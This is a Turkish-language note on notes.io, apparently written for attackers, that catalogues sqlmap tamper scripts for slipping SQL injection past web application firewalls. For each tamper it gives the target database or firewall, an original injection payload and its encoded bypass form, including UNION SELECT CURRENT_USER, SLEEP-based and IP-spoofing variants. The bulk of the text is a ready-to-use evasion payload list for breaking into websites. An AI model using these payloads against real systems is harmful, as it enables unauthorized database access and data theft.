NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

itelerin artık çoğu firewall kullanmaktadır. Bu firewaller, sitede sql açığı olmasına rağmen girememize sebeb olabilir. Bunun nedeni firewall'in sql injection saldırısını algılaması ve siteyle bağlantınızın kesilmesinden kaynaklıdır. Bu firewaller sqlmap de tamperler ile geçilebilir. Her firewall farklı çalışır ve her tamper her firewalli geçemez. Sqlmapde --identify-waf komutunu kullanarak hangi firewall olduğunu öğrenebiliriz ama bu kesin sonuç vermeyebilir. Sqlmap her firewallin bilgilerini algılayamaz. Waf yani web applaction firewaller giderek yaygınlaşmıştır, üst düzey sitelerin hepsinde waf kullanılmaktadır. Peki mu firewalleri tamperler nasıl geçer ? Bu sorunun cevabını aşağıda normal injection kodları ve tamper kullanıldığı zamanki injection kodlarını incelediğinizde anlayabilirsiniz. Yinede örnek vermek gerekirse injection sırasında urlye "a" eklendiğini düşünün tamperler bunu "b" olarak gösterek firewall atlatılır. Tabiki bu şekilde a'yı b olarak değil normal injection kodlarıyla aynı anlama gelen farklı kodlar oluşturulmuştur , bunlar bizim kullandığımız tamperlerdir. Tamperler Çoklu olarakta kullanılabilir. Sqlmapte tamperler --tamper="tamper adı" şeklinde kullanılır. Çoklu kullanmak istiyorsak eğer tamper isimleri arasına , koyarak kullanabiliriz.

Tamperler ve bypass metodları


apostrophemask

Kullanılabileceği siteler : Charset UTF-8 olan sitelerde kullanılabilir.
Orjinal komut : 1 AND '1'='1"
Bypass komutu : 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

apostrophenullencode

Kullanılabileceği siteler : Unicode
Orjinal komut : 1 AND '1'='1"
Bypass komutu : 1 AND %00%271%00%27=%00%271

appendnullbyte

Kullanılabileceği siteler : Database tipi Microsoft Access olan sitelerde kullanılabilir.
Orjinal komut : 1 AND 1=1
Bypass komutu : 1 AND 1=1%00

%00 yani boşluk gibi etkisiz bir karakter null ekliyerek bypass ediyor.

base64encode

Orjinal komut : 1' AND SLEEP(5)#
Bypass komutu : MScgQU5EIFNMRUVQKDUpIw==

1' AND SLEEP(5)# base64 şeklinde şifrelenmesini sağlar. Fazla kullandığım bir tamper değildir.

between

Kullanılabileceği siteler : Neredeyse her türlü sitede kullanılabilir. Database çeşidi Microsoft SQL Server, MySQL 4, 5.0 and 5.5,Oracle 10g,postgreSQL 8.3, 8.4, 9.0 olan sitelerde kullanılabilir.
Orjinal komut : '1 AND A > B--' ( 1 AND A NOT BETWEEN 0 AND B-- )
Bypass komutu : '1 AND A = B--' ( 1 AND A BETWEEN B AND B-- )

bluecoat

Kullanılabileceği siteler : Blue Coat SGOS Web Applaction Firewall olan sitelerde kullanılabilir.
Orjinal komut : SELECT id FROM users WHERE id = 1
Bypass komutu : SELECT%09id FROM%09users WHERE%09id LIKE 1

chardoubleencode

Kullanılabileceği siteler : Asp ve Aspx Sitelerinde Charencode tamperinin yetmediği durumlarda kullanılabilir. Charencodeden farkı 2 kere şifreliyor olmasıdır.
Orjinal komut : SELECT FIELD FROM%20TABLE
Bypass komutu : %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545 %254C%2544%2520%2546%2552%254F%254D%2520%2554%2541 %2542%254C%2545

charencode

Kullanılabileceği siteler : Asp ve Aspx Sitelerinde kullanılabilir.
Orjinal komut : SELECT FIELD FROM%20TABLE
Bypass komutu : %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4 D%20%54%41%42%4C%45

charunicodeencode

Kullanılabileceği siteler : Asp Ve Aspx Sitelerinde Kullanılabilir.
Orjinal komut : SELECT FIELD%20FROM TABLE
Bypass komutu : ( bu seferlik bypass komutunu yazamıyorum yazdığımda site otomatik olarak select field from table haline geri çeviriyor,oyüzden örnek vermek gerekirse charencode deki şifreleme gibidir. Aralarındaki fark ise farklı bir şekilde şifrelenmesidir.

commalesslimit

Kullanılabileceği siteler : Database çeşidi MySQL olan sitelerde zayıf firewall leri atlatmak amacıyla kullanılabilir.
Orjinal komut : LIMIT 2, 3
Bypass komutu : LIMIT 3 OFFSET 2

commalessmid

Kullanılabileceği siteler : Database çeşidi MySQL olan sitelerde kullanılabilir.
Orjinal komut : MID(VERSION(), 1, 1)
Bypass komutu : MID(VERSION() FROM 1 FOR 1)

concat2concatws

Kullanılabileceği siteler : Database çeşidi MySQL olan sitelerde kullanılabilir. Çok zayıf firewallerin kullanıldığı sitelerde kullanılabilir.
Orjinal komut : CONCAT(1,2)
Bypass komutu : CONCAT_WS(MID(CHAR(0),0,0),1,2)

equaltolike

Kullanılabileceği siteler : Microsoft SQL Server ve MySQL 4, 5.0 and 5.5 sitelerinde kullanılabilir. Bu tamperin amacı "=" karakteri açıktan enjekte edildiğinde firewallin "=" karakteri girildiği için saldırı yapıldığını anlayıp bağlantıyı kesmesi durumunda yada açıktan girmemizi engellemesi durumunda kullanılır. Basit firewaller atlatılabilir.
Orjinal komut : SELECT * FROM users WHERE id=1
Bypass komutu : SELECT * FROM users WHERE id LIKE 1

escapequotes

Kullanılabileceği siteler : Slash () eklenerek firewall atlatılmaya çalışılmaktadır. Hangi firewallde işinize yarayacağı belli olmaz :)
Orjinal komut : '1" AND SLEEP(5)#'
Bypass komutu : '1\\" AND SLEEP(5)#'

greatest

Kullanılabileceği siteler : Database tipi MySQL, Oracle 10g , PostgreSQL 8.3, 8.4, 9.0 olan sitelerde kullanılabilir. Ve bu tamper çoğu firewalli geçmek için uyumludur.
Orjinal komut : '1 AND A > B'
Bypass komutu : '1 AND GREATEST(A,B+1)=A'

halfversionedmorekeywords

Kullanılabileceği siteler : Database tipi MySQL < 5.1 olan sitelerde columns sayısı okunmadığı durumlarda kullanılabilir.
Orjinal komut : "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
Bypass komutu : value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/
*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

ifnull2ifisnull

Kullanılabileceği siteler : Database tipi MySQL , SQLite (possibly) , SAP MaxDB (possibly) olan sitelerde kullanılabilir.
Orjinal komut : 'IFNULL(1, 2)'
Bypass komutu : IF(ISNULL(1),2,1)

informationschemacomment

Orjinal komut : 'SELECT table_name FROM INFORMATION_SCHEMA.TABLES'
Bypass komutu : 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'

lowercase

Kullanılabileceği siteler : Database tipi Microsoft SQL Server , MySQL , Oracle 10g, PostgreSQL olan sitelerde kullanılabilir.
Orjinal komut : 'INSERT'
Bypass komutu : 'insert'

modsecurityversioned

Kullanılabileceği siteler : Sqlmap --identify-waf yazdığımızda Mod Security Firewall yazısı gelen sitelerde ve columns sayısı okunmadığı durumlarda kullanılabilir. Sadece Mysql sistemlerde kullanılabilir.
Orjinal komut : '1 AND 2>1--'
Bypass komutu : 1 /*!30874AND 2>1*/--

modsecurityzeroversioned

Kullanılabileceği siteler : Mod Security Firewall olan sitelerde modsecurityversioned yetmediği durumlarda kullanılabilir.
Orjinal komut : '1 AND 2>1--'
Bypass komutu : 1 /*!00000AND 2>1*/--

multiplespaces

Kullanılabileceği siteler : Her dbms çeşidiyle uyumludur. Kelimeler arasına birden fazla boşluk ekleyerek açığı bypass eder.
Orjinal komut : '1 UNION SELECT foobar'
Bypass komutu : '1 UNION SELECT foobar' ( boşluklar random olarak eklenir her seferinde aynı sayıda boşluk eklemez)

nonrecursivereplacement

Kullanılabileceği siteler : Genelde mysql sitelerde kullanılır. "UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE" gibi kelimeleri farklı kelimler ile değiştirir.
Orjinal komut : '1 UNION SELECT 2--'
Bypass komutu : '1 UNIOUNIONN SELESELECTCT 2--'

overlongutf8

Orjinal komut : 'SELECT FIELD FROM TABLE WHERE 2>1'
Bypass komutu : 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE %C0%AA2%C0%BE1'

percentage

Kullanılabileceği siteler : Kodlama dili ASP olan sitelerde kullanılabilir.
Orjinal komut : 'SELECT FIELD FROM TABLE'
Bypass Komut : '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'

randomcase

Kullanılabileceği siteler : Microsoft SQL Server,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0 . Bu tamper injection sırasındaki kelimeleri rastgele büyük ve küçük harf olarak yazmasını sağlar.
Orjinal komut : 'INSERT'
Bypass komutu : 'INseRt'

randomcomments

Orjinal komut : 'INSERT'
Bypass komutu : 'I/**/N/**/SERT'

securesphere

Kullanılabileceği siteler : Sitede kullanılan Firewall'in SecureSphere WAF olması durumunda kullanılır.
Orjinal komut : '1 AND 1=1'
Bypass komutu : 1 AND 1=1 and '0having'='0having'

sp_password

Kullanılabileceği siteler : MSSQL
Orjinal komut : '1 AND 9227=9227-- '
Bypass komutu : '1 AND 9227=9227-- sp_password'

space2comment

Kullanılabileceği siteler : Microsoft SQL Server, MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0
Orjinal komut : 'SELECT id FROM users'
Bypass komutu : 'SELECT/**/id/**/FROM/**/users

space2dash

Kullanılabileceği siteler : MSSQL , SQLite
Orjinal komut : '1 AND 9227=9227'
Bypass komutu : '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

space2hash

Kullanılabileceği siteler : MySQL sitelerde kullanılabilir. Genelde columns sayısı okunmuyorsa kullanılabilir.
Orjinal komut : '1 AND 9227=9227'
Bypass komutu : '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

space2morehash

Kullanılabileceği siteler : MySQL >= 5.1.13 sitelerde kullanılabilir.
Orjinal komut : '1 AND 9227=9227'
Bypass komutu : '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9 227=9227'

space2mssqlblank

Kullanılabileceği siteler : Microsoft SQL Server
Orjinal komut : 'SELECT id FROM users'
Bypass komutu : 'SELECT%0Eid%0DFROM%07users'

space2mssqlhash

Kullanılabileceği siteler : MSSQL , MySQL
Orjinal komut : '1 AND 9227=9227'
Bypass komutu : '1%23%0AAND%23%0A9227=9227'

space2mysqlblank

Kullanılabileceği siteler : MySQL sitelerde kullanılır. Sql injection sırasında bağlantı kesiliyorsa kullanılabilir.
Orjinal komut : 'SELECT id FROM users'
Bypass komutu : 'SELECT%0Bid%0DFROM%0Cusers'

space2mysqldash

Kullanılabileceği siteler : MySQL , MSSQL
Orjinal komut : '1 AND 9227=9227'
Bypass komutu : '1--%0AAND--%0A9227=9227'

space2plus

Orjinal komut : 'SELECT id FROM users'
Bypass komutu : 'SELECT+id+FROM+users'

space2randomblank

Kullanılabileceği siteler : Microsoft SQL Server,MySQL,Oracle,PostgreSQL
Orjinal komut : 'SELECT id FROM users'
Bypass komutu : 'SELECT%0Did%0DFROM%0Ausers'

symboliclogical

Orjinal komut : "1 AND '1'='1"
Bypass komutu : "1 %26%26 '1'='1"

unionalltounion

Orjinal komut : '-1 UNION ALL SELECT'
Bypass komutu : '-1 UNION SELECT'

unmagicquotes

Orjinal komut : "1' AND 1=1"
Bypass komutu : '1%bf%27-- '

uppercase

Kullanılabileceği siteler : Microsoft SQL Server,MySQL,Oracle,PostgreSQL
Orjinal komut : 'insert'
Bypass komutu : 'INSERT'

varnish

Bu tamper diğerleri gibi değildir. Http başlığı oluşturur. Saldırı yapılacak ip adresini rastgele ayarlar ve Local ip adresini rastgele ayarlar, bunun gibi fonksiyonları vardır.

versionedkeywords

Kullanılabileceği siteler : MySQL sitelerde kullanılabilir. Columns sayısı okunmadığı durumlarda kullanılabilir.
Orjinal komut : '1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#'
Bypass komutu : '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT _USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'

versionedmorekeywords

Kullanılabileceği siteler : MySQL Sitelerde kullanılabilir. verisonedkeywordsun farklı bir halidir.
Orjinal komut : '1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#'
Bypass komutu : '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT _USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'

xforwardedfor

Bu tamperimizde belirli bir ip adresine yetki verdiği için sql açığından veri okunmasını engelleyen firewalleri atlatmak için kullanılır. Fake ip ile sql injection saldırısı yapar.
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.